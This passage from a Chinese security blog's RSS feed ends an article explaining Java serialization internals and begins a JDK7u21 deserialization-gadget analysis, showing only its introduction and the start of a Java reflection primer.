break-all;">defaultWriteFields</code><span md-inline="plain" style="box-sizing: border-box;">方法负责读取 obj 对象中的字段数据(</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">desc</code><span md-inline="plain" style="box-sizing: border-box;">)，并且将字段数据写入到字节流中，具体流程如下：</span></span></span></span><br/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">首先利用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">checkDefaultSerialize()</code><span md-inline="plain" style="box-sizing: border-box;">检查当前对象是否是一个可序列化对象</span></span></span></span></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.22408026755852842" data-s="300,640" style="" data-type="png" data-w="1196" src="https://wechat2rss.xlab.app/img-proxy/?k=792f2197&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cBDRCXukCfBYO2sZJJVxT3suqX5w6vAyGgGribmib8W3vU2E3Fxjl0TbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果该对象不可序列化，那么抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">newInvalidClassException</code><span md-inline="plain" style="box-sizing: border-box;">异常。</span></span></p><p style="text-align: left;"><br/></p><p cid="n127" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">检查完毕后，获取该对象中所有基础类型字段的值</span></p><p><br/></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3503521126760563" data-s="300,640" style="" data-type="png" data-w="1136" src="https://wechat2rss.xlab.app/img-proxy/?k=54c7a09c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cpwAWXibZDVRqQAWIA6uiakgd7ib0SInnvPwI7D8EqYb73pdiahia1pDyJVA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">会进入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">getPrimFieldValues</code><span md-inline="plain" style="box-sizing: border-box;">方法中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">getPrimFieldValues</code><span md-inline="plain" style="box-sizing: border-box;">方法：</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.081041968162084" data-s="300,640" style="" data-type="png" data-w="1382" src="https://wechat2rss.xlab.app/img-proxy/?k=1e7b0829&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0ciaaliazFDrPjdSYhgxEzQdiaOkK6TeYfmQpT0c68RKdSic822KtD3Rv6ibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">这些基础类型字段对应类型如下所示：</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="1.9840425531914894" data-s="300,640" style="" data-type="png" data-w="376" src="https://wechat2rss.xlab.app/img-proxy/?k=c111e2f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cHL9ibgq8L3MYj55cibw2ibfk2eB2UOyCE4vpGf2Itspa76oqkQBicC3Ocg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n152" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">获得这些基础类型字段的值后，系统会将他们写入到字节流</span></p><p cid="n132" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">在写入过程结束，系统会再调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeObject0</code><span md-inline="plain" style="box-sizing: border-box;">方法：</span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6651982378854625" data-s="300,640" style="" data-type="png" data-w="1362" src="https://wechat2rss.xlab.app/img-proxy/?k=95e383cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cAmXHP7lvcicUibiczvy3NZ6LYpSOPkqS7AAtc1Z2AN0Gzecyo4XwPANAA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p cid="n134" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">在这个方法里写入对象类型的字段的值，最终完成序列化操作</span></p><p cid="n135" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">其大概的流程如以下调用栈</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.5934579439252337" data-s="300,640" style="" data-type="png" data-w="856" src="https://wechat2rss.xlab.app/img-proxy/?k=29815dc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cVXRMiaomJl4GqnCa5WN7zG60ly39fNYIOJkArOwE24cPXJ6Cq7v4tag%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">最后再通过流程图回顾一下整个序列化的流程（可以点击原文链接看高清一点的）：</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1625" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b48c5587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqDB3j9URw4zA99WDlCoV0cLjw6gWW3wFdtK7bW6Nt5E21zNW1hYttDDW0NVMfjMgGickekwLn3QpQ%2F640%3Fwx_fmt%3Djpeg"/></p><h2 cid="n161" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x03 总结</span></h2><p cid="n167" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;"><span md-inline="plain" style="box-sizing: border-box;">序列化的流程说起来简单也很简单，实际上就是几个</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">write*</code><span md-inline="plain" style="box-sizing: border-box;">方法：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeFataException</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNull</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeHandle</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeClass</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeString</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeArray</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeEnum</code><span md-inline="plain" style="box-sizing: border-box;">，加两个特殊的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">write*</code><span md-inline="plain" style="box-sizing: border-box;">方法：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeExternalData</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeOrginaryObject</code><span md-inline="plain" style="box-sizing: border-box;">。</span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">序列化的流程说起来也很复杂，除了各种判断检测分支，还有各种特性：如被</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">transient</code><span md-inline="plain" style="box-sizing: border-box;">修饰的成员属性具有”不会序列化“的语义，序列化的时候会忽略、被</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">static</code><span md-inline="plain" style="box-sizing: border-box;">修饰的成员属性隶属于类而非对象，所以它在序列化的时候同样会被忽略。</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">但总的来说，搞懂序列化的某个流程(走到最后的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">write*</code><span md-inline="plain" style="box-sizing: border-box;">)对于理解序列化机制是很有帮助的。</span></span></p><p style="text-align: left;"><br/></p><h2 cid="n163" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 30px;margin-bottom: 15px;white-space: pre-wrap;font-weight: bold;color: rgb(0, 0, 0);border-bottom: 2px solid rgb(239, 112, 96);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x04 参考</span></h2><p cid="n169" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.html" target="_blank">https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.html</a></span></p><p cid="n175" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://blog.csdn.net/silentbalanceyh/article/details/8294269" target="_blank">https://blog.csdn.net/silentbalanceyh/article/details/8294269</a></span></p><p cid="n173" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://blog.csdn.net/u011315960/article/details/89963230" target="_blank">https://blog.csdn.net/u011315960/article/details/89963230</a></span></p><p style="text-align: left;"><br/></p>



<p><a href="https://www.cnpanda.net/sec/893.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6edd179b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483886%26idx%3D1%26sn%3De7a349cfe65fe91ae2315c5dab69a2ff%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 13 Jun 2021 16:26:00 +0800</pubDate>
    </item>
    <item>
      <title>JDK7u21反序列化漏洞分析笔记</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483853&amp;idx=1&amp;sn=309536a2483c8c42ac49cf980e84a8aa</link>
      <description>整个jdk7u21反序列化gadget链的构建非常经典，链中融合了大量的基础知识以及小技巧，个人认为是对于理解并学习反序列化漏洞的必学知识点，此文是本人学习记录，如存在问题欢迎各位师傅斧正。</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-06-11 21:53</span> <span style="display: inline-block;"></span>
</p>

<p>整个jdk7u21反序列化gadget链的构建非常经典，链中融合了大量的基础知识以及小技巧，个人认为是对于理解并学习反序列化漏洞的必学知识点，此文是本人学习记录，如存在问题欢迎各位师傅斧正。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7372869b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DvZgom27URLvWelQvUjnXC3LP4GNvEXzu6ylsKBWryj88sZuqPcaiazQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n174" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-size: 1.3rem;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;white-space: pre-wrap;width: inherit;border-bottom: 2px solid rgb(239, 112, 96);"><span md-inline="plain" style="margin-right: 3px;padding: 3px 10px 1px;box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);border-top-right-radius: 3px;border-top-left-radius: 3px;">0x01 写在前面</span></h2><p><span style="color: var(--mid-13);orphans: 4;white-space: pre-wrap;word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">J</span><span style="color: var(--mid-13);orphans: 4;white-space: pre-wrap;word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">DK7u21原生gadget链的构造十分经典，在对于其构造及思想学习后，写下本文作为笔记。</span></p><h2 cid="n177" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-size: 1.3rem;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;white-space: pre-wrap;width: inherit;border-bottom: 2px solid rgb(239, 112, 96);"><span md-inline="plain" style="margin-right: 3px;padding: 3px 10px 1px;box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);border-top-right-radius: 3px;border-top-left-radius: 3px;">0x02 所需的知识点</span></h2><p cid="n178" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">JDK7u21这个链用了很多的Java基础知识点，主要如下：</span></p><ul class="list-paddingleft-2" cid="n179" mdtype="list" data-mark="*" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;width: 577.422px;white-space: normal;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n181" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">Java 反射</span></p></li></ul><ul class="list-paddingleft-2" cid="n182" mdtype="list" data-mark="-" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;width: 577.422px;white-space: normal;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n184" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">javassist 动态修改类</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n186" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">Java 静态类加载</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n188" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">Java 动态代理</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n190" mdtype="paragraph" style="margin-bottom: 0.5rem;padding-left: 0.25rem;box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;"><span md-inline="plain" style="box-sizing: border-box;">hash碰撞</span></p></li></ul><p cid="n191" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">为了方便大家理解此文，因此我会对这些知识点进行简单介绍，如果都了解的朋友可以直接翻到后面的分析过程。</span></p><h2 cid="n192" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-size: 1.3rem;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;white-space: pre-wrap;width: inherit;border-bottom: 2px solid rgb(239, 112, 96);"><span md-inline="plain" style="margin-right: 3px;padding: 3px 10px 1px;box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);border-top-right-radius: 3px;border-top-left-radius: 3px;">0x03 基础知识</span></h2><h3 cid="n193" mdtype="heading" style="margin: 1.6em auto 1.2em;padding-left: 9px;font-weight: bold;font-size: 1.4em;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;border-left: 5px solid rgb(242, 47, 39);white-space: pre-wrap;width: inherit;"><span md-inline="plain" style="box-sizing: border-box;">1、Java 反射</span></h3><p cid="n194" mdtype="paragraph" style="margin-top: 0.8em;margin-bottom: 0.8em;color: var(--mid-13);box-sizing: border-box;line-height: 1.8rem;orphans: 4;white-space: pre-wrap;width: inherit;word-spacing: 0.05rem;"><span md-inline="plain" style="box-sizing: border-box;">反射 (Reflection) 是 Java 的特征之一，在C/C++中是没有反射的，反射的存在使得运行中的 Java 程序能够获取自身的信息，并且可以操作类或对象的内部属性。那么什么是反射呢？</span></p><p cid="n195" mdtype="paragraph" style="margin-top: 